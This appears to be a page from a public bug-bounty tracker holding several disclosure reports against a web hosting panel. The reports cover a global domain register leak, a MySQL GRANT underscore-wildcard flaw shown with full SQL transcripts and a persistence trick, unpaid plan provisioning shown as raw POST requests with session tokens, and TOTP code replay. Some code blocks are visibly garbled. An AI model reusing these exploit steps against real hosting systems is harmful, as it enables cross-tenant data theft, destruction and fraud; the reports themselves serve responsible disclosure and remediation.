AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

I score this High rather than Critical because the primitive is read-only and does not directly modify anything. For your own triage, the exposed data is a complete core control-plane table covering your entire customer base, which appears relevant to the wording your reward table uses for the Critical band. It also includes your own infrastructure records. I leave that determination to you rather than claiming a Critical severity.

Description:

/reseller/domain/ is part of the reseller application. Seventeen other routes in the same application, including /reseller/customer/ and /reseller/ticket/notifications/, correctly reject a customer who is not a reseller with a 302 redirect to /. The /reseller/domain/ route does not perform an authorization check and instead returns the global queryset.

As a result, any person who can create a free Alwaysdata account can read the entire domain register. Signup is self-service and free.

Each row exposes four visible columns:

```
Name
Account
Internal
Expiration date
```

Each row also contains a link that discloses two internal primary keys that are not otherwise shown on screen:

```
/reseller/customer/<customer_id>/connect/?all_permissions=1&next=/domain/<domain_id>/?_account=<account>
```

Therefore, each record exposes:

```
Domain name
Owning account name
Internal customer ID
Internal domain ID
Whether the domain is internal
Expiration date
```

THE SENSITIVE PART IS THE DOMAIN-TO-ACCOUNT JOIN, NOT THE DOMAIN NAMES THEMSELVES.

A domain owned by an Alwaysdata customer is not necessarily externally identifiable as an Alwaysdata customer. Two examples from the first page of results are kept in the private annex: <DOMAIN-A> is served by Cloudflare nameservers, while <DOMAIN-B> uses myhostadmin.net nameservers. DNS, WHOIS, and certificate-transparency observations therefore do not reveal that either domain belongs to an Alwaysdata customer.

The vulnerable listing states this relationship directly, together with the account name and internal customer ID.

This is why the published carve-out concerning account names does not cover this finding. The issue is not merely disclosure of account names. It is the authoritative mapping of domains to their owning Alwaysdata accounts and internal customer IDs across the entire customer base, exposed through a single pageable list.

The ?name= parameter is also a substring filter applied across the global register rather than only against the authenticated customer's objects. This allows targeted queries such as determining whether a particular organisation, domain, or substring appears in the customer register.

IT IS NOT ONLY CUSTOMER DATA.

The register also contains Alwaysdata's own infrastructure records. From the same ordinary customer session, the following query is sufficient:

```
?name=alwaysdata
```

It returns:

```
alwaysdata.com
alwaysdata.net
alwaysdata.fr
alwaysdata.info
alwaysdata.org
```

These are owned by the internal account "ad" and are marked Internal: yes. The same query also exposes a staff sandbox account.

The "ad" row contains a link referencing:

```
/reseller/customer/9341/connect/
```

which discloses your internal customer ID.

alwaysdata.net is particularly relevant because it is the zone used for customers' automatically provisioned hostnames, and "ad" is the account that owns the shared zone.

This discloses internal account and infrastructure structure that is not available through a normal customer session. It is also related to the same class of disclosure addressed in  FS#426  and the follow-up  FS#440 .

RELATED REPORT

I am filing a separate Critical report titled "Blind Read of DKIM Private Keys via Filter Injection."

That report concerns how this view processes its query string rather than who is authorized to access the view. The two issues require independent fixes.

Adding the missing reseller authorization described here would still leave the filter-injection issue reachable by a reseller. The same filter helper is also mounted on:

```
/site/
/ssh/
/ftp/
/webdav/
/domain/
```

where tenancy scoping currently contains the issue.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A customer may be able to perform operations through their own SSH access, but that does not provide access to this dataset.

I verified this from a shell on the node. On ssh2:

```
ls /home/
```

returns:

```
Permission denied
```

A tenant's own environment does not enumerate other customers' domains, their owning account names, or their internal customer IDs.

The exposed dataset resides in the control-plane database and is made available to any authenticated customer through this endpoint.

Vulnerable Instances:

```
GET https://admin.alwaysdata.com/reseller/domain/ GET https://admin.alwaysdata.com/reseller/domain/?page=<n>
GET https://admin.alwaysdata.com/reseller/domain/?name=<substring>
```

All three are reachable by any authenticated customer. No reseller role or additional permission is required.

Steps to Reproduce:

Total cost: EUR 0.

I used three mutually independent customer logins so that no permission grant between my own accounts could explain the result.

All times are UTC, 2026-09-23.

1. Log in to https://admin.alwaysdata.com/ as an ordinary customer.

I verified the issue with three separate users, listed in the private annex as:

```
User A: account vk7research
User B: account vk7victim
User C: account zzr1sticky0921
```

User C has an empty "Granted permissions" list and has no relationship with the other two accounts. This confirms that the result is not caused by a shared permission grant.

2. Request:

 GET /reseller/domain/

All three independent sessions return HTTP 200 and display domain records that do not belong to me.

See the Proof of Concept below.

3. Determine the size of the exposure from the paginator rather than estimating it.

 ?page=1       20 data rows
 ?page=2178     5 data rows
 ?page=2179     0 data rows

Therefore:

```
2177 x 20 + 5 = 43,545 records
```

I did not enumerate the records. I used the paginator only to establish the total bound.

4. Verify the authorization controls.

a) Authentication IS required, so this is not an unauthenticated leak:

```
Anonymous GET /reseller/domain/
```

returns:

```
302 to /reseller/domain/
```

b) Sibling routes in the SAME application ARE gated:

```
GET /reseller/customer/ 302 to /
GET /reseller/ticket/notifications/ 302 to /
GET /reseller/ 404
GET /reseller/zzzznotreal/ 404
```

The nonexistent route check was used as a route-existence control.

c) The customer-facing equivalent is correctly scoped:

```
GET /domain/
```

shows only the authenticated customer's own domains.

On these accounts it returned:

```
No domain name
```

A foreign domain ID also returns:

```
GET /domain/<foreign id>/ 404
```

The response was byte-identical to the nonexistent-object case.

Therefore, object-level authorization appears correctly enforced on the other relevant routes I tested. It is specifically this global reseller listing that is exposed.

d) The impersonation link printed in each row is NOT independently exploitable based on my testing:

```
GET /reseller/customer/<CUSTOMER-ID-A>/connect/?all_permissions=1 404
GET /reseller/customer/<CUSTOMER-ID-B>/connect/?all_permissions=1 404
GET /reseller/customer/999999999/connect/?all_permissions=1 404
```

Real and nonexistent customer IDs behaved identically.

I therefore make NO account takeover claim from these links. I mention them only because the listing itself discloses the internal customer IDs.

5. I re-verified the issue at 05:45:11Z from a newly established session, logged in from scratch specifically for this check.

The endpoint still returned HTTP 200, with 20 records on page 1 and 2,178 pages containing data.

Proof of Concept:

All output below is verbatim except that customer-identifying values are replaced with placeholders. The real values are retained in the private annex because tasks on this tracker are published.

Page 1 of /reseller/domain/ as an ordinary customer:

```
Name Account Internal Expiration date
<DOMAIN-A> <ACCOUNT-A> no 19/10/2025
<DOMAIN-B> <ACCOUNT-B> no 21/12/2025
<DOMAIN-C> <ACCOUNT-C> no 11/06/2026
<DOMAIN-D> <ACCOUNT-D> yes 10/07/2026
<DOMAIN-E> <ACCOUNT-E> yes 11/07/2026
(15 further rows on the page, none of them mine)
```

The row markup for the first record also contains the internal IDs:

```
/reseller/customer/<CUSTOMER-ID-A>/connect/?all_permissions=1&next=/domain/<DOMAIN-ID-A>/?_account=<ACCOUNT-A>
```

Your own infrastructure, from the same ordinary customer session:

```
?name=alwaysdata

alwaysdata.com owner account "ad" Internal: yes
alwaysdata.net owner account "ad" Internal: yes
alwaysdata.fr owner account "ad" Internal: yes
alwaysdata.info owner account "ad" Internal: yes
alwaysdata.org owner account "ad" Internal: yes
alwaysdata-test1.com owner account <STAFF-SANDBOX-ACCOUNT>
```

The "ad" row contains:

```
/reseller/customer/9341/connect/
```

which discloses your internal customer ID.

Paginator bound:

```
?page=1 20 data rows
?page=2178 5 data rows
Total 43,545 records
```

Impact:

Any person who registers a free Alwaysdata account obtains a complete, authoritative, pageable copy of the customer-to-domain register:

```
43,545 domains
Owning account names
Internal customer IDs
Expiration dates
Internal domain status
```

Concretely, this enables:

Competitor intelligence at whole-book scale.

The entire hosting customer base becomes queryable, including customers whose relationship with Alwaysdata is not externally visible from DNS because their domains are delegated elsewhere.

Targeted takeover preparation.

The expiration-date column identifies when domains lapse, while the account column identifies the Alwaysdata account associated with a specific business.

Account-name resolution for follow-on attacks.

The listing provides the Alwaysdata account name associated with each domain. That account name can then be correlated with Alwaysdata.net hostnames, SSH, FTP and WebDAV usernames, mail addresses, and database naming conventions.

This converts a target such as "I want to attack company X" into the corresponding Alwaysdata account for the entire customer base.

Phishing and social-engineering targeting.

The combination of domain ownership, account identity, and expiration date can be used to construct convincing renewal-related lures.

Disclosure of internal infrastructure.

The listing exposes the account that owns alwaysdata.net and the shared zone, its internal customer ID, and at least one staff sandbox account.

Customer privacy impact.

The affected data subjects are Alwaysdata customers. Some customers may be sole traders or individuals, meaning the domain-to-account mapping can constitute personal data independently of the direct security impact.

Recommendation:

1. Apply the same reseller authorization decorator already used by the correctly gated /reseller/ routes to /reseller/domain/.

This is the direct fix for the authorization defect.

2. Fix the filter injection on the same endpoint as well.

I am filing that issue separately as a Critical finding. Neither fix substitutes for the other. The authorization decorator alone would still leave the filter-injection issue reachable by an authorized reseller.

The same filter helper is also shared with:

```
/site/
/ssh/
/ftp/
/webdav/
/domain/
```

3. Audit /reseller/subscription/ at the same time.

This is the second route in the application that did not redirect my non-reseller accounts. It returned:

```
0 element(s)
No current subscription
```

Changing the ?customer= filter did not alter the result.

I therefore make no claim about this route. However, it should be reviewed in the source code to confirm that its queryset is genuinely tenancy-filtered rather than merely empty for my accounts.

4. As defense in depth, make the reseller queryset filter explicit through the shared mixin or equivalent authorization mechanism.

The underlying risk is not only the missing authorization check on this view. Omitting the check currently results in the global queryset being returned.

5. Consider whether the row template needs to embed the internal customer ID at all.

The /reseller/customer/<id>/connect/ route is not usable by the reader based on my testing, so exposing the internal customer ID provides additional internal information without an apparent benefit to an unauthorized reader.

DISCLOSURE AND CLEANUP:

This report is entirely read-only.

I did not modify or delete anything.

I read only page 1 and page 2178 to establish the record count, along with a small number of ?name= queries quoted above. I did not enumerate the register.

I have retained nothing beyond the private annex submitted alongside this report, and I will destroy that annex upon your confirmation.

Customer-identifying values have deliberately been replaced with placeholders in this task because reports on this tracker are published.

Test window:

```
2026-09-23 04:55Z to 05:45Z UTC
```

 491  Cross-Customer Database Takeover via GRANT Wildcard Closed23.09.2026 Task Description

NAME OF VULNERABILITY

The MySQL provisioner interpolates the customer-supplied database name into:

```
GRANT ALL PRIVILEGES ON `<name>`.*
```

without escaping it.

In MySQL and MariaDB, the database component of a GRANT is a pattern in which the underscore matches any single character. As a result, a customer who creates a database named with their mandatory account prefix followed by underscores receives full read, write, and DROP rights on every database of the same length belonging to another customer whose account name begins with theirs.

—

VULNERABILITY CATEGORY

Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

Cross-customer data access on shared infrastructure.

—

CVSS

CVSS 3.1 score: 9.9 Critical

Vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

The issue is network reachable, trivial to perform, requires only a free self-service account, requires no user interaction, and yields confidentiality, integrity, and availability impact through SELECT, INSERT, UPDATE, and DROP access to another customer's data.

Scope is Changed because the flaw exists in the control-plane provisioner while the impacted component is the shared MariaDB instance and other tenants' data.

—

DESCRIPTION

When a customer creates a MySQL database, the control plane grants the account's database user rights on it using a statement of the form:

```
GRANT ALL PRIVILEGES ON `<database name>`.* TO `<db user>`@`%` WITH GRANT OPTION
```

In MySQL and MariaDB, the database component of a GRANT is not a literal identifier. It is a pattern, using the same wildcard semantics as LIKE.

The underscore is therefore interpreted as a single-character wildcard.

To grant privileges on a literal name containing an underscore, that underscore must be escaped as _.

Your provisioner does not escape it.

THE NAMING RULE MAKES THE PROBLEM UNAVOIDABLE

Your own naming rule requires every database name to begin with:

```
<account>_
```

The form explicitly states:

```
"must start with: vk7research_"
```

That mandatory separator is itself the first wildcard character, so every grant you issue is already a pattern rather than a literal database name.

Normally, that is harmless because the remainder of the name is literal text.

It stops being harmless when a customer deliberately supplies additional underscores.

CROSS-CUSTOMER ACCESS

A customer who creates a database named:

```
zzr1 ``` receives: ```
GRANT ALL PRIVILEGES ON `zzr1
`.* TO `zzr1`@`%` WITH GRANT OPTION
```

MariaDB evaluates this as a pattern matching any database whose name is zzr1 followed by fourteen characters.

That set includes:

```
zzr1sticky0921_vic
```

which is a database belonging to a different customer on a different account.

No grant naming the victim's database is ever created, and none appears in SHOW GRANTS.

BOUNDS ON THE REACH

The reach is bounded by two things, and I state both rather than overstate the issue.

First, the database name must still begin with the attacker's own account name, so the victim's account name must have the attacker's account name as a strict prefix.

Second, the percent sign, which is the multi-character wildcard, is rejected by the name validator. Therefore, the attacker must match the victim's database name length exactly.

This costs only a few dozen databases to cover every plausible length.

Neither bound is a meaningful obstacle because the attacker chooses their own account name during free self-service signup and can register a name that prefixes their intended target.

WHY THIS IS NOT WORKING AS INTENDED

Your own interface defines the intended model, and this behavior defeats it.

The endpoint:

```
/database/add/?type=mysql
```

offers exactly three per-database permission levels for the account's database user:

```
"all rights"
"read only"
"no rights"
```

Per-database permissioning is therefore a control you deliberately expose.

The database used in my proof was configured with "no rights", which is the strongest setting your interface offers, and it was still fully readable, writable, and droppable.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

Your standing position is that a customer can already do anything over their own SSH access.

That does not apply here.

The differential is built into this report as a control.

Using the same credentials, from the same client, against the same host:

```
SELECT * FROM zzr1sticky0921_vic.secrets
```

returned:

```
ERROR 1142 SELECT command denied
```

before the wildcard database existed.

After the wildcard database existed, the same query returned the victim's row.

Nothing about network position changed.

Only the grant changed.

I also ran the shell control on the node myself, documented below.

I explicitly do NOT claim network reach to port 3306 as part of this finding.

Reachability is irrelevant and conceded.

The finding is the grant.

—

VULNERABLE INSTANCES

```
POST https://admin.alwaysdata.com/database/add/?type=mysql

Field: "name"
```

The resulting GRANT is issued on:

```
mysql-<account>.alwaysdata.net
```

Observed instance:

```
185.31.41.41
mysql21.paris1
11.4.13-MariaDB
```

Affects MySQL and MariaDB only.

PostgreSQL and RabbitMQ are not affected. See the scope note under Recommendation.

—

STEPS TO REPRODUCE

Total cost: EUR 0.

Two accounts owned by two different users with no permission grant between them.

All times UTC, 2026-09-23.

PART 1. THE WILDCARD MECHANISM, INSIDE A SINGLE ACCOUNT

This isolates the cause.

1. On account vk7research, create database vk7research_zzv1 and set the account's database user permission on it to NONE.

 Set a password on database user vk7research (ID 2046733).

2. Connect to:

 ```
 mysql-vk7research.alwaysdata.net
 ```
 as vk7research and record the baseline:
 ```
 SELECT VERSION(), @@hostname, CURRENT_USER()
 ```
 Returns:
 ```
 ('11.4.13-MariaDB', 'mysql21', 'vk7research@%')
 ```
 SHOW DATABASES returns information_schema only, so the zzv1 database is NOT visible.
 SHOW GRANTS returns:
 ```
 GRANT USAGE ON *.*
 ```
 Therefore, there is no database grant at all.

3. Create ONE more database named:

 ```
 vk7research_____
 ```
 This is the account prefix plus five underscores.
 It is 16 characters long, the same length as vk7research_zzv1.
 Set its permission to FULL.

4. Reconnect with the SAME credentials and repeat the SAME queries.

 SHOW DATABASES returns:
 ```
 information_schema
 vk7research_____
 vk7research_zzv1
 ```
 SHOW GRANTS returns:
 ```
 GRANT USAGE ON *.*
 GRANT ALL PRIVILEGES ON `vk7research_____`.* TO `vk7research`@`%` WITH GRANT OPTION
 ```
 There is still NO grant mentioning vk7research_zzv1.
 Nevertheless, it is now visible and writable.

PART 2. THE SAME FLAW ACROSS TWO CUSTOMERS

This demonstrates the actual impact.

5. VICTIM

 As user 489840 ([vk7research+l6@alwaysdata.net](mailto:vk7research+l6@alwaysdata.net)) on account zzr1sticky0921 (ID 501073), create:
 ```
 zzr1sticky0921_vic
 ```
 The database is 18 characters long.
 Plant a canary row and confirm that it is present as the owner.

6. ATTACKER

 As a DIFFERENT user (489835), register a free account named:
 ```
 zzr1
 ```
 This is a strict prefix of the victim's account name.
 Self-service signup costs EUR 0 and requires no approval.
 Set a password on its database user.

7. BASELINE AS THE ATTACKER

 Before doing anything else, establish the control:
 ```
 SELECT CURRENT_USER()
 ```
 returns:
 ```
 ('zzr1@%',)
 SHOW DATABASES
 ```
 returns:
 ```
 information_schema
 ```
 Therefore, the victim's database is not visible.
 ```
 SHOW GRANTS
 ```
 returns:
 ```
 GRANT USAGE ON *.*
 ```
 Attempting:
 ```
 SELECT * FROM zzr1sticky0921_vic.secrets
 ```
 returns:
 ```
 ERROR 1142 SELECT command denied to user 'zzr1'@'...' for table
 `zzr1sticky0921_vic`.`secrets`
 ```

8. As the attacker, create ONE database named:

 ```
 zzr1______________
 ```
 This is zzr1 plus fourteen underscores.
 It is 18 characters long, matching the victim's database name length.
 Set its permission to FULL.

9. Reconnect as the attacker with the SAME credentials and repeat the SAME queries.

 The victim's data is returned.
 The full transcript is included in the Proof of Concept below.

10. WRITE CONFIRMED FROM THE VICTIM'S SIDE

  Reconnect as the victim's own database user:
  ```
  zzr1sticky0921
  ```
  SELECT returns BOTH rows, including the row inserted by the attacker.
  The write therefore landed in the victim's database. It is not an artifact of the attacker's session.

PART 3. THE TWO IMPACT CLAIMS

These were demonstrated rather than inferred, from 08:05Z to 08:10Z, using my own accounts.

11. DROP

  With database vk7research_zzq3 created at permission NONE and one wildcard sibling created with FULL permission, using only the wildcard grant, CREATE TABLE, INSERT, and DROP TABLE all succeed on a database the grant does not name.
  Destruction is real, not an inference from the words ALL PRIVILEGES.

12. PERSISTENCE VIA WITH GRANT OPTION

  The attacker issues an explicit grant naming the other database and then deletes their own wildcard database.
  The explicit grant REMAINS.
  Access is retained.
  The attacker CANNOT revoke it again.
  It cleared only when the database itself was dropped.
  In a real attack, this means the victim would have to destroy their own data or the provider would have to clean mysql.db directly.

—

PROOF OF CONCEPT

All output below is verbatim.

ATTACKER BASELINE, BEFORE THE WILDCARD DATABASE EXISTS, 07:14Z

```
SELECT CURRENT_USER()

  ('zzr1@%',)

SHOW DATABASES

  (('information_schema',),)

SHOW GRANTS

  GRANT USAGE ON *.* TO `zzr1`@`%` IDENTIFIED BY PASSWORD '*0023...'

SELECT * FROM zzr1sticky0921_vic.secrets

  ERROR 1142 SELECT command denied to user 'zzr1'@'117.255.15.131'
  for table `zzr1sticky0921_vic`.`secrets`

```

ATTACKER CREATES ONE DATABASE NAMED zzr1, THEN RECONNECTS, 07:16Z ```
SHOW GRANTS
GRANT USAGE ON *.* TO `zzr1`@`%` … GRANT ALL PRIVILEGES ON `zzr1
`.* TO `zzr1`@`%` WITH GRANT OPTION

SHOW DATABASES

  (('information_schema',), ('zzr1______________',), ('zzr1sticky0921_vic',))

SELECT * FROM zzr1sticky0921_vic.secrets

  ((1, 'OPERATOR-CANARY-9f2a7c-CROSSCUSTOMER'),)

SHOW TABLES IN zzr1sticky0921_vic

  (('secrets',),)

INSERT INTO zzr1sticky0921_vic.secrets VALUES (2,'ATTACKER-WROTE-THIS')

  OK

```

VICTIM READS BACK THE ATTACKER'S WRITE WITH ITS OWN CREDENTIALS, 07:20Z

```
SELECT * FROM zzr1sticky0921_vic.secrets

  ((1, 'OPERATOR-CANARY-9f2a7c-CROSSCUSTOMER'),
   (2, 'ATTACKER-WROTE-THIS'))

```

DROP THROUGH THE WILDCARD GRANT ALONE, 08:07Z

```
SHOW GRANTS

  GRANT USAGE ON *.* ...
  GRANT ALL PRIVILEGES ON `vk7research_____`.* ...
  (no grant names vk7research_zzq3)

CREATE TABLE vk7research_zzq3.t1 (i INT)

  OK

INSERT INTO vk7research_zzq3.t1 VALUES (1)

  OK

DROP TABLE vk7research_zzq3.t1

  OK

SHOW TABLES IN vk7research_zzq3

  empty

```

PERSISTENCE VIA WITH GRANT OPTION, 08:08Z TO 08:10Z

```
GRANT ALL PRIVILEGES ON `vk7research_zzq3`.* TO `vk7research`@`%`

  OK

(delete the WILDCARD database through the panel)

SHOW GRANTS

  GRANT USAGE ON *.* ...
  GRANT ALL PRIVILEGES ON `vk7research_zzq3`.* TO `vk7research`@`%`

SHOW DATABASES

  (('information_schema',), ('vk7research_zzq3',))

CREATE TABLE vk7research_zzq3.t2 (i INT)

  OK

DROP TABLE vk7research_zzq3.t2

  OK

REVOKE ALL PRIVILEGES ON `vk7research_zzq3`.* FROM `vk7research`@`%`

  ERROR 1044 Access denied for user 'vk7research'@'%'
  to database 'vk7research_zzq3'

```

SHELL CONTROL ON THE SHARED NODE, RUN BY ME, 08:12Z

```
id

  uid=548819(vk7research) gid=502763(vk7research)

hostname

  ssh2

ls -ld /home/zzr1sticky0921

  drwxrwx--T 5 root zzr1sticky0921

ls /home/zzr1sticky0921

  Permission denied

ls -d /var/lib/mysql

  No such file or directory, the datadir is not on this node

mysql -h mysql-vk7research… -e 'SHOW DATABASES'
with no credentials

  ERROR 1045 Access denied for user 'vk7research'@'2a00:b6e0:1:50:1::1'

ls -la ~/.my.cnf

  No such file or directory, no credential is planted

```

The shell therefore cannot reach another account's data through the filesystem or database without credentials.

NAME VALIDATOR CONTROLS

These were run so I would not overstate the reach.

```
vk7research%

  rejected, "Enter a valid value", "must start with: vk7research_"

vk7research_%

  rejected, same

vk7research\_x

  rejected, same

vk7research ACCEPTED
``` Only the underscore is usable, which is what bounds the attack to a length match. — IMPACT Any person can register a free Alwaysdata account, choose a name that is a prefix of a target customer's account name, create a handful of databases whose names are that prefix followed by underscores of each plausible length, and thereby obtain SELECT, INSERT, UPDATE, DELETE, and DROP access to that customer's MySQL databases. That means the following: FULL DISCLOSURE OF ANOTHER CUSTOMER'S APPLICATION DATA An attacker can read user tables, password hashes, session tables, personal data, orders, messages, and anything else stored by the victim's application. SILENT MODIFICATION An attacker can insert an administrator row into a victim's CMS user table and take over the victim's application, or alter financial or business records. DESTRUCTION I demonstrated this rather than inferring it from the words ALL PRIVILEGES. Through a wildcard grant alone, CREATE TABLE, INSERT, and DROP TABLE all succeeded on a database that the grant does not name. PERSISTENCE I demonstrated this end to end. The grant carries WITH GRANT OPTION, so the attacker can issue themselves an EXPLICIT grant naming the victim's database. That grant survives deletion of the attacker's own wildcard database. Access is retained afterwards, and the attacker cannot revoke it again. It is also invisible to the control plane, which continues to show the target database with its normal user count. SILENT FROM THE VICTIM'S SIDE It is silent on the victim's side as far as I could observe. Nothing in the panel represents the attacker's access. Throughout the test, the target database continued to display its normal user count, and the attacker's self-minted explicit grant appeared nowhere in the interface. I did not have a way to inspect the victim's own SHOW GRANTS for a grant issued to a DIFFERENT user, so I limit the claim to what I observed. ACCOUNT PREFIX RELATIONSHIPS I make no claim about how many existing accounts already stand in a prefix relationship to one another. Establishing that would have required harvesting your customer list, which I did not do. It is worth checking internally, but the finding does not rest on it. The attacker manufactures the relationship, and I demonstrated exactly that by registering zzr1 specifically because zzr1sticky0921 already existed. — RECOMMENDATION 1. ESCAPE WILDCARD CHARACTERS WHEN BUILDING THE GRANT In the database component of a GRANT, the underscore must be written _ and the percent sign must be written % to be treated literally. This is a one-line fix in the statement builder and is the actual defect. Apply the same treatment anywhere else a customer-controlled identifier is interpolated into a GRANT or REVOKE. 2. REJECT LIKE METACHARACTERS AS A SECOND LAYER Reject the underscore and any other LIKE metacharacter in the customer-supplied portion of the database name. The mandatory <account>_ separator can be added by the server rather than typed by the customer, so the customer-supplied remainder never needs to contain an underscore. 3. AUDIT EXISTING GRANTS This is the urgent part. Any wildcard grant already issued is live right now. Enumerate mysql.db for rows whose Db column contains an unescaped underscore that resolves to more than one existing schema, and identify any grant whose pattern matches a database owned by a different account. 4. AUDIT GRANTS CREATED THROUGH WITH GRANT OPTION Because the grants carry WITH GRANT OPTION, also look for explicit grants that a customer may already have minted for themselves on another customer's database. Those grants will survive the fix above because they name the victim's database literally. Removing WITH GRANT OPTION from the provisioner's statement is also worth doing because customers do not need it. — SCOPE NOTE PostgreSQL and RabbitMQ are NOT affected. PostgreSQL privileges are recorded per object OID rather than by pattern, and I confirmed that a foreign database is refused with: ```
permission denied for database
``` with 0 of 1709 databases having a PUBLIC CONNECT ACL. RabbitMQ vhost permissions are exact-match, and a foreign vhost is refused. The panel's own object authorization is also correct. Foreign database IDs return 404, byte-identical to a nonexistent ID. The defect is specifically the MySQL GRANT statement builder. — DISCLOSURE AND CLEANUP Every object created for this report has been deleted, and I verified the result at the database engine rather than merely in the panel. Both vk7research and zzr1sticky0921 now return only: ```
information_schema
``` for SHOW DATABASES and only: ```
GRANT USAGE ON *.*
``` for SHOW GRANTS. No residual wildcard grant remains. Deleted: ```
vk7research_zzv1
vk7research
_
vk7research_zzq3
zzr1sticky0921_vic
zzr1
```

and one name-validator probe database.

The account zzr1 (ID 501523) was also deleted.

The canary table was destroyed with its database.

The single row inserted into the victim database was deleted immediately after the read-back in Step 10, and that database was then dropped entirely.

No third-party customer's data was ever read, written, or deleted at any point.

Both the attacker and the victim were accounts I own.

Passwords were set on two of my own database users during testing. I am NOT printing them in this report because these tasks are published and the credentials could accept connections from the internet.

They are in the private annex sent alongside this report and can be rotated or disregarded.

ADDITIONAL DISCLOSURE

A parallel test briefly renamed account 500763 from vk7research to webmaster and back, approximately 06:52Z to 07:03Z, overlapping the original Part 1 window.

Part 2, the cross-customer proof, was unaffected. It ran from 07:10Z to 07:20Z on two entirely different accounts after that rename had been reverted.

I nevertheless re-ran Part 1 from scratch at 07:50Z on a clean account state, and it reproduced identically.

That rename also left:

```
webmaster.alwaysdata.net
```

resolving to:

```
185.31.41.11
```

on multiple public resolvers while no account holds the name webmaster.

I could not remove that record.

I believe that record is mine.

TEST WINDOW

2026-09-23 06:40Z to 08:15Z UTC

 490  Paid Hosting Plan Provisioned Without Payment  Closed23.09.2026 Task Description

Severity: Critical
CVSS Score 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)

Description
Any authenticated user on the free tier can provision paid hosting accounts (Small, Medium, Large, X-Large) without providing payment information. The account creation form at /admin/account/add/ accepts paid product IDs and provisions full resources immediately.
Additionally, existing accounts can be upgraded to any tier or downgraded to Free via the account edit form, all without payment validation.

Impact
• Resource Theft: Attacker gets up to 500GB disk, 8GB RAM, 8 CPU cores for free (X-Large plan worth €1,800/year)
• Infrastructure Abuse: SSH access auto-provisioned, cron jobs available for crypto mining/spam/C2
• Financial Loss: Each plan costs real money; mass abuse causes significant revenue loss
• Bidirectional Manipulation: Accounts can be downgraded to Free to evade billing, then upgraded again
• Repeat Exploitation: Single user account can create multiple paid accounts

Steps to Reproduce
Step 1: Login to admin.alwaysdata.com with a free-tier account
Step 2: Navigate to /admin/account/add/
Step 3: Submit the following POST request to create a paid account without payment:
• Request — Create Paid Account (Small Plan):

POST /admin/account/add/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU
Referer: https://admin.alwaysdata.com/admin/account/add/
Origin: https://admin.alwaysdata.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 164
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&name=paidtest2&password=TestPass123!&product=2008&period=1y&loc
ation=datacenter_3&contract_28=on&contract_36=on

HTTP/1.1 302 Found
Location: /subscription/
Server: nginx
Product IDs: 2008=Small (50GB/1GB/1CPU), 2009=Medium, 2010=Large, 2011=X-Large (500GB/8GB/8CPU), 2012=Free

Step 4: Verify the subscription page confirms the paid account:
GET /subscription/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o

HTTP/1.1 200 OK
Object: paidtest2 | Product: Small (50GB disk, 1GB RAM, 1 CPU) | Renewal: Oct. 22, 2026
Object: xltest | Product: X-Large (500GB disk, 8GB RAM, 8 CPU) | Renewal: Oct. 22, 2026 | €1,800.00
Step 5: Upgrade existing account to X-Large without payment:

POST /admin/account/501195/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU
Referer: https://admin.alwaysdata.com/admin/account/501195/
Content-Length: 65
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&product=2011

HTTP/1.1 302 Found
Location: /subscription/
product=2011 upgrades to X-Large (€1,800/year) — no payment required

Recommendation
Implement server-side payment verification before provisioning any non-free product.
Validate that:
(1) A valid payment method is on file,
(2) Sufficient balance exists or payment is authorized,
(3) The requested product change is within the customer's billing tier.

488TOTP Missing Single Use EnforcementAssigned Task Description

Hi,

I identified a vulnerability in the admin panel's TOTP implementation that allows the same OTP to be successfully reused multiple times within the server's approximately 90-second acceptance window.

I understand that similar TOTP-related reports have previously been submitted and closed as duplicate or invalid. In particular, in report  FS#204  – “Expired TOTP Code Accepted – Broken 2FA Validation,” the following explanation was provided:

“We do accept OTP that are slightly expired to accommodate for network or human latency, as suggested in RFC 6238 Section 5.2.”

I agree that accepting a TOTP from a previous time step can be legitimate. Authenticator applications typically generate a new TOTP every 30 seconds, while the server may allow a limited tolerance window to account for network latency, clock differences, or transmission delays.

RFC 6238 Section 5.2 explicitly acknowledges this requirement:

“A validation system SHOULD typically set a policy for an acceptable OTP transmission delay window for validation.”

It further explains that the validator may compare the submitted OTP against previous timestamps within the permitted transmission-delay window. Therefore, I understand the reasoning behind allowing an OTP to remain acceptable beyond its exact 30-second generation window.

However, the vulnerability I am reporting is not simply that an older TOTP remains valid within the configured acceptance window. The issue is that after a TOTP has already been successfully used for authentication, the exact same TOTP can be reused multiple times to perform additional successful logins and establish new authenticated sessions.

RFC 6238 Section 5.2 explicitly addresses this behavior:

“The verifier MUST NOT accept the second attempt of the OTP after the successful validation”

The RFC explains that this requirement ensures one-time-only use of an OTP.

The same OTP can continue producing successful authentications until it eventually falls outside the server's acceptance window. This is different from accepting an unused OTP from a previous time step to accommodate latency.

Therefore, I am not disputing the server's use of a tolerance window. The specific issue being reported is the lack of single-use enforcement after successful TOTP validation.

Once a TOTP has successfully authenticated a user, subsequent authentication attempts using that same TOTP should be rejected, regardless of whether the code is still within the server's configured time tolerance.

I therefore request that the finding be reviewed specifically as a TOTP replay / missing single-use enforcement vulnerability, rather than solely as an expired-TOTP validation issue, and that server-side replay protection be implemented in accordance with RFC 6238 Section 5.2. I am not attaching any PoC or evidence because this issue is well know by you team but still if you require PoC let know I have a prepared script and screenshots to demonstrate it.

 485  Cross-Customer Account Takeover via CalDAV Hostname Sei ...Closed21.09.2026 Task Description

VULNERABILITY INFORMATION:

